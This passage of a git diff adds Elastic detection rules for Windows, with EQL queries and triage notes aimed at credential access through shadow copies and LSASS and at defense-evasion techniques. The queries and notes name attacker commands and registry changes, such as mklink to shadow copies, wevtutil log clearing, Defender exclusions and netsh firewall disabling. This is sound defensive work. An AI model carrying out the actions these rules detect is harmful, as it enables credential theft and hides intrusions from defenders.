"2021/12/25" +maturity = "production" +updated_date = "2022/03/18" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies the creation of symbolic links to a shadow copy. Symbolic links can be used to access files in the shadow +copy, including sensitive files such as ntds.dit, System Boot Key and browser offline credentials. +""" +false_positives = ["Legitimate administrative activity related to shadow copies."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Symbolic Link to Shadow Copy Created" +note = """## Triage and analysis. + +### Investigating + +Shadow copies are backups or snapshots of an endpoints files or volumes at the time of being in use. Adversaries may attempt to discover and create symbolic links to these shadow copies in order to copy sensitive information offline. If Active Directory (AD) is in use, often the ntds.dit file is a target as it contains password hashes but an offline copy is needed to extract these hashes and potentially conduct lateral movement. + +#### Possible investigation steps: + +- Determine if a volume shadow copy was recently created on this endpoint. +- Review priviledges of the end user as this requires administrative access. +- Verify ntds.dit file was successfully copied and the location. +- Investigate for registry SYSTEM file copies made recently or saved via Reg.exe. +- Investigate recent deletions of volume shadow copies. +- Identify other files potentially copied from volume shadow copy paths directly. + +### False Positive Analysis + +- There should be very little false positive triggers with this rule. + +### Related Rules +- NTDS or SAM Database File Copied - 3bc6deaa-fbd4-433a-ae21-3e892f95624f + +### Response and Remediation + +- Initiate the incident response process based on the outcome of the triage. +- In case specific credentials were compromised: + - Reset the password for the accounts +- Locate and remove static files copied from volume shadow copies. +- Command-Line tool mklink should require administrative access by default unless in developer mode. + +## Config + +Ensure advanced audit policies for Windows are enabled, specifically +Object Access policies [Event ID 4656](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656) (Handle to an Object was Requested) + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +System Audit Policies > +Object Access > +Audit File System (Success,Failure) +Audit Handle Manipulation (Success,Failure) +``` + +This event will only trigger if symbolic links are created from a new process spawning for cmd.exe or powershell.exe with the correct arguments. +Direct access to a shell and calling symbolic link creation tools will not generate an event. +""" +references = [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mklink", + "https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf", + "https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/", + "https://www.hackingarticles.in/credential-dumping-ntds-dit/", +] +risk_score = 47 +rule_id = "d117cbb4-7d56-41b4-b999-bdf8c25648a0" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start","process_created") and + process.pe.original_file_name in ("Cmd.Exe","PowerShell.EXE") and + + /* Create Symbolic Link to Shadow Copies */ + process.args : ("*mklink*", "*SymbolicLink*") and process.command_line : ("*HarddiskVolumeShadowCopy*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_via_snapshot_lsass_clone_creation.toml b/rules/windows/credential_access_via_snapshot_lsass_clone_creation.toml new file mode 100644 index 000000000..857459cc3 --- /dev/null +++ b/rules/windows/credential_access_via_snapshot_lsass_clone_creation.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/11/27" +updated_date = "2021/11/27" +maturity = "production" + + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of an LSASS process clone via PssCaptureSnapShot where the parent process is the initial LSASS +process instance. This may indicate an attempt to evade detection and dump LSASS memory for credential access. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential LSASS Clone Creation via PssCaptureSnapShot" +note = """## Config + +This is meant to run only on datasources using Windows security event 4688 that captures the process clone creation.""" +references = [ +"https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", +"https://medium.com/@Achilles8284/the-birth-of-a-process-part-2-97c6fb9c42a2" +] +risk_score = 73 +rule_id = "a16612dd-b30e-4d41-86a0-ebe70974ec00" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.code:"4688" and + process.executable : "?:\\Windows\\System32\\lsass.exe" and + process.parent.executable : "?:\\Windows\\System32\\lsass.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "OS Credential Dumping" +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique.subtechnique]] +name = "LSASS Memory" +id = "T1003.001" +reference = "https://attack.mitre.org/techniques/T1003/001/" + + + +[rule.threat.tactic] +name = "Credential Access" +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" + + + diff --git a/rules/windows/defense_evasion_adding_the_hidden_file_attribute_with_via_attribexe.toml b/rules/windows/defense_evasion_adding_the_hidden_file_attribute_with_via_attribexe.toml new file mode 100644 index 000000000..760eae5d8 --- /dev/null +++ b/rules/windows/defense_evasion_adding_the_hidden_file_attribute_with_via_attribexe.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Adversaries can add the 'hidden' attribute to files to hide them from the user in an attempt to evade detection." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Adding Hidden File Attribute via Attrib" +risk_score = 21 +rule_id = "4630d948-40d4-4cef-ac69-4002e29bc3db" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "attrib.exe" and process.args : "+h" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1564" +reference = "https://attack.mitre.org/techniques/T1564/" +name = "Hide Artifacts" +[[rule.threat.technique.subtechnique]] +id = "T1564.001" +reference = "https://attack.mitre.org/techniques/T1564/001/" +name = "Hidden Files and Directories" + + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/defense_evasion_amsienable_key_mod.toml b/rules/windows/defense_evasion_amsienable_key_mod.toml new file mode 100644 index 000000000..e2d3b86b7 --- /dev/null +++ b/rules/windows/defense_evasion_amsienable_key_mod.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/06/01" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies when JScript tries to query the AmsiEnable registry key from the HKEY_USERS registry hive before initializing Antimalware +Scan Interface (AMSI). If this key is set to 0, AMSI is not enabled for the JScript process. An adversary can modify +this key to disable AMSI protections. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Modification of AmsiEnable Registry Key" +references = [ + "https://hackinparis.com/data/slides/2019/talks/HIP2019-Dominic_Chell-Cracking_The_Perimeter_With_Sharpshooter.pdf", + "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal", +] +risk_score = 73 +rule_id = "f874315d-5188-4b4a-8521-d1c73093a7e4" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + registry.path : ( + "HKEY_USERS\\*\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable", + "HKU\\*\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable" + ) and + registry.data.strings: ("0", "0x00000000") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_clearing_windows_console_history.toml b/rules/windows/defense_evasion_clearing_windows_console_history.toml new file mode 100644 index 000000000..544f288c4 --- /dev/null +++ b/rules/windows/defense_evasion_clearing_windows_console_history.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/11/22" +maturity = "production" +updated_date = "2021/11/24" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal +the actions undertaken during an intrusion. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Clearing Windows Console History" +references = [ + "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", + "https://www.shellhacks.com/clear-history-powershell/", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", +] +risk_score = 47 +rule_id = "b5877334-677f-4fb9-86d5-a9721274223b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.action == "start" and + (process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or process.pe.original_file_name == "PowerShell.EXE") and + (process.args : "*Clear-History*" or + (process.args : ("*Remove-Item*", "rm") and process.args : ("*ConsoleHost_history.txt*", "*(Get-PSReadlineOption).HistorySavePath*")) or + (process.args : "*Set-PSReadlineOption*" and process.args : "*SaveNothing*")) +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + [[rule.threat.technique.subtechnique]] + id = "T1070.003" + name = "Clear Command History" + reference = "https://attack.mitre.org/techniques/T1070/003/" + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_clearing_windows_event_logs.toml b/rules/windows/defense_evasion_clearing_windows_event_logs.toml new file mode 100644 index 000000000..feaced051 --- /dev/null +++ b/rules/windows/defense_evasion_clearing_windows_event_logs.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to clear or disable Windows event log stores using Windows wevetutil command. This is often done by +attackers in an attempt to evade detection or destroy forensic evidence on a system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Clearing Windows Event Logs" +risk_score = 21 +rule_id = "d331bbe2-6db4-4941-80a5-8270db72eb61" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("process_started", "start") and + (process.name : "wevtutil.exe" or process.pe.original_file_name == "wevtutil.exe") and + process.args : ("/e:false", "cl", "clear-log") or + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "Clear-EventLog" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + [[rule.threat.technique.subtechnique]] + id = "T1070.001" + name = "Clear Windows Event Logs" + reference = "https://attack.mitre.org/techniques/T1070/001/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_clearing_windows_security_logs.toml b/rules/windows/defense_evasion_clearing_windows_security_logs.toml new file mode 100644 index 000000000..c7fbb7b06 --- /dev/null +++ b/rules/windows/defense_evasion_clearing_windows_security_logs.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/11/12" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic", "Anabella Cristaldi"] +description = """ +Identifies attempts to clear Windows event log stores. This is often done by attackers in an attempt to evade detection +or destroy forensic evidence on a system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Windows Event Logs Cleared" +risk_score = 21 +rule_id = "45ac4800-840f-414c-b221-53dd36a5aaf7" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:("audit-log-cleared" or "Log clear") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + [[rule.threat.technique.subtechnique]] + id = "T1070.001" + name = "Clear Windows Event Logs" + reference = "https://attack.mitre.org/techniques/T1070/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_code_injection_conhost.toml b/rules/windows/defense_evasion_code_injection_conhost.toml new file mode 100644 index 000000000..ed8dfc0fe --- /dev/null +++ b/rules/windows/defense_evasion_code_injection_conhost.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/08/31" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Identifies a suspicious Conhost child process which may be an indication of code injection activity." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Process from Conhost" +references = [ + "https://modexp.wordpress.com/2018/09/12/process-injection-user-data/", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Defense%20Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx", +] +risk_score = 73 +rule_id = "28896382-7d4f-4d50-9b72-67091901fd26" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "conhost.exe" and + not process.executable : ("?:\\Windows\\splwow64.exe", "?:\\Windows\\System32\\WerFault.exe", "?:\\Windows\\System32\\conhost.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +reference = "https://attack.mitre.org/techniques/T1055/" +name = "Process Injection" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_create_mod_root_certificate.toml b/rules/windows/defense_evasion_create_mod_root_certificate.toml new file mode 100644 index 000000000..514cb6301 --- /dev/null +++ b/rules/windows/defense_evasion_create_mod_root_certificate.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2021/02/01" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of a local trusted root certificate in Windows. The install of a malicious root +certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity +(e.g. Microsoft). It could also allow an attacker to decrypt SSL traffic. +""" +false_positives = ["Certain applications may install root certificates for the purpose of inspecting SSL traffic."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Creation or Modification of Root Certificate" +references = [ + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://www.ired.team/offensive-security/persistence/t1130-install-root-certificate", +] +risk_score = 21 +rule_id = "203ab79b-239b-4aa5-8e54-fc50623ee8e4" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + registry.path : + ( + "HKLM\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1553" +name = "Subvert Trust Controls" +reference = "https://attack.mitre.org/techniques/T1553/" +[[rule.threat.technique.subtechnique]] +id = "T1553.004" +name = "Install Root Certificate" +reference = "https://attack.mitre.org/techniques/T1553/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_cve_2020_0601.toml b/rules/windows/defense_evasion_cve_2020_0601.toml new file mode 100644 index 000000000..07d15a1c7 --- /dev/null +++ b/rules/windows/defense_evasion_cve_2020_0601.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/03/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) +certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a +malicious executable, making it appear the file was from a trusted, legitimate source. +""" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Windows CryptoAPI Spoofing Vulnerability (CVE-2020-0601 - CurveBall)" +risk_score = 21 +rule_id = "56557cde-d923-4b88-adee-c61b3f3b5dc3" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.provider:"Microsoft-Windows-Audit-CVE" and message:"[CVE-2020-0601]" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1553" +name = "Subvert Trust Controls" +reference = "https://attack.mitre.org/techniques/T1553/" +[[rule.threat.technique.subtechnique]] +id = "T1553.002" +name = "Code Signing" +reference = "https://attack.mitre.org/techniques/T1553/002/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_defender_disabled_via_registry.toml b/rules/windows/defense_evasion_defender_disabled_via_registry.toml new file mode 100644 index 000000000..32b1a16f6 --- /dev/null +++ b/rules/windows/defense_evasion_defender_disabled_via_registry.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/12/23" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to the Windows Defender registry settings to disable the service or set the service to be +started manually. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Windows Defender Disabled via Registry Modification" +note = """## Triage and analysis + +Detections should be investigated to identify if the hosts and users are authorized to use this tool. As this rule detects post-exploitation process activity, investigations into this should be prioritized.""" +references = ["https://thedfirreport.com/2020/12/13/defender-control/"] +risk_score = 21 +rule_id = "2ffa1f1e-b6db-47fa-994b-1512743847eb" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + ( + ( + registry.path:"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" and + registry.data.strings: ("1", "0x00000001") + ) or + ( + registry.path:"HKLM\\System\\*ControlSet*\\Services\\WinDefend\\Start" and + registry.data.strings in ("3", "4", "0x00000003", "0x00000004") + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.006" +name = "Indicator Blocking" +reference = "https://attack.mitre.org/techniques/T1562/006/" + +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml b/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml new file mode 100644 index 000000000..2842cead1 --- /dev/null +++ b/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml @@ -0,0 +1,102 @@ +[metadata] +creation_date = "2021/07/20" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to the Windows Defender configuration settings using PowerShell to add exclusions at the folder directory or process level. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Windows Defender Exclusions Added via PowerShell" +note = """## Triage and analysis + +### Investigating Windows Defender Exclusions + +Microsoft Windows Defender is an anti-virus product built-in within Microsoft Windows. Since this software product is +used to prevent and stop malware, it's important to monitor what specific exclusions are made to the product's configuration +settings. These can often be signs of an adversary or malware trying to bypass Windows Defender's capabilities. One of the more +notable [examples](https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/) was observed in 2018 where Trickbot incorporated mechanisms to disable Windows Defense to avoid detection. + +#### Possible investigation steps: +- With this specific rule, it's completely possible to trigger detections on network administrative activity or benign users +using scripting and PowerShell to configure the different exclusions for Windows Defender. Therefore, it's important to +identify the source of the activity first and determine if there is any mal-intent behind the events. +- The actual exclusion such as the process, the file or directory should be reviewed in order to determine the original +intent behind the exclusion. Is the excluded file or process malicious in nature or is it related to software that needs +to be legitimately allowlisted from Windows Defender? + +### False Positive Analysis +- This rule has a higher chance to produce false positives based on the nature around configuring exclusions by possibly +a network administrator. In order to validate the activity further, review the specific exclusion and its intent. There +are many legitimate reasons for exclusions, so it's important to gain context. + +### Related Rules +- Windows Defender Disabled via Registry Modification +- Disabling Windows Defender Security Settings via PowerShell + +### Response and Remediation +- Since this is related to post-exploitation activity, take immediate action to review, investigate and +potentially isolate further activity. +- If further analysis showed malicious intent was behind the Defender exclusions, administrators should remove +the exclusion and ensure antimalware capability has not been disabled or deleted. +- Exclusion lists for antimalware capabilities should always be routinely monitored for review. +""" +references = ["https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf"] +risk_score = 47 +rule_id = "2c17e5d7-08b9-43b2-b58a-0270d65ac85b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + (process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or process.pe.original_file_name in ("powershell.exe", "pwsh.dll", "powershell_ise.exe")) and + process.args : ("*Add-MpPreference*", "*Set-MpPreference*") and + process.args : ("*-Exclusion*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.006" +name = "Indicator Blocking" +reference = "https://attack.mitre.org/techniques/T1562/006/" + +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.001" +name = "PowerShell" +reference = "https://attack.mitre.org/techniques/T1059/001/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/windows/defense_evasion_delete_volume_usn_journal_with_fsutil.toml b/rules/windows/defense_evasion_delete_volume_usn_journal_with_fsutil.toml new file mode 100644 index 000000000..9383d22e6 --- /dev/null +++ b/rules/windows/defense_evasion_delete_volume_usn_journal_with_fsutil.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the fsutil.exe to delete the volume USNJRNL. This technique is used by attackers to eliminate evidence +of files created during post-exploitation activities. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Delete Volume USN Journal with Fsutil" +risk_score = 21 +rule_id = "f675872f-6d85-40a3-b502-c0d2ef101e92" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "fsutil.exe" or process.pe.original_file_name == "fsutil.exe") and + process.args : "deletejournal" and process.args : "usn" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +reference = "https://attack.mitre.org/techniques/T1070/" +name = "Indicator Removal on Host" +[[rule.threat.technique.subtechnique]] +id = "T1070.004" +reference = "https://attack.mitre.org/techniques/T1070/004/" +name = "File Deletion" + + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_disable_posh_scriptblocklogging.toml b/rules/windows/defense_evasion_disable_posh_scriptblocklogging.toml new file mode 100644 index 000000000..23d6c7492 --- /dev/null +++ b/rules/windows/defense_evasion_disable_posh_scriptblocklogging.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2022/01/31" +maturity = "production" +updated_date = "2022/01/31" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to disable PowerShell Script Block Logging via registry modification. Attackers may disable +this logging to conceal their activities in the host and evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "PowerShell Script Block Logging Disabled" +references = [ + "https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableScriptBlockLogging", +] +risk_score = 47 +rule_id = "818e23e6-2094-4f0e-8c01-22d30f3506c6" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type == "change" and + registry.path : + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\\EnableScriptBlockLogging" + and registry.data.strings : ("0", "0x00000000") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1562" +reference = "https://attack.mitre.org/techniques/T1562/" +name = "Impair Defenses" + + [[rule.threat.technique.subtechnique]] + id = "T1562.002" + name = "Disable Windows Event Logging" + reference = "https://attack.mitre.org/techniques/T1562/002/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_disable_windows_firewall_rules_with_netsh.toml b/rules/windows/defense_evasion_disable_windows_firewall_rules_with_netsh.toml new file mode 100644 index 000000000..724ca2787 --- /dev/null +++ b/rules/windows/defense_evasion_disable_windows_firewall_rules_with_netsh.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the netsh.exe to disable or weaken the local firewall. Attackers will use this command line tool to +disable the firewall during troubleshooting or to enable network mobility. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Disable Windows Firewall Rules via Netsh" +risk_score = 47 +rule_id = "4b438734-3793-4fda-bd42-ceeada0be8f9" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "netsh.exe" and + (process.args : "disable" and process.args : "firewall" and process.args : "set") or + (process.args : "advfirewall" and process.args : "off" and process.args : "state") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +reference = "https://attack.mitre.org/techniques/T1562/" +name = "Impair Defenses" +[[rule.threat.technique.subtechnique]] +id = "T1562.004" +reference = "https://attack.mitre.org/techniques/T1562/004/" +name = "Disable or Modify System Firewall" + + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_disabling_windows_defender_powershell.toml b/rules/windows/defense_evasion_disabling_windows_defender_powershell.toml new file mode 100644 index 000000000..e11a5ad4a --- /dev/null +++ b/rules/windows/defense_evasion_disabling_windows_defender_powershell.toml @@ -0,0 +1,48 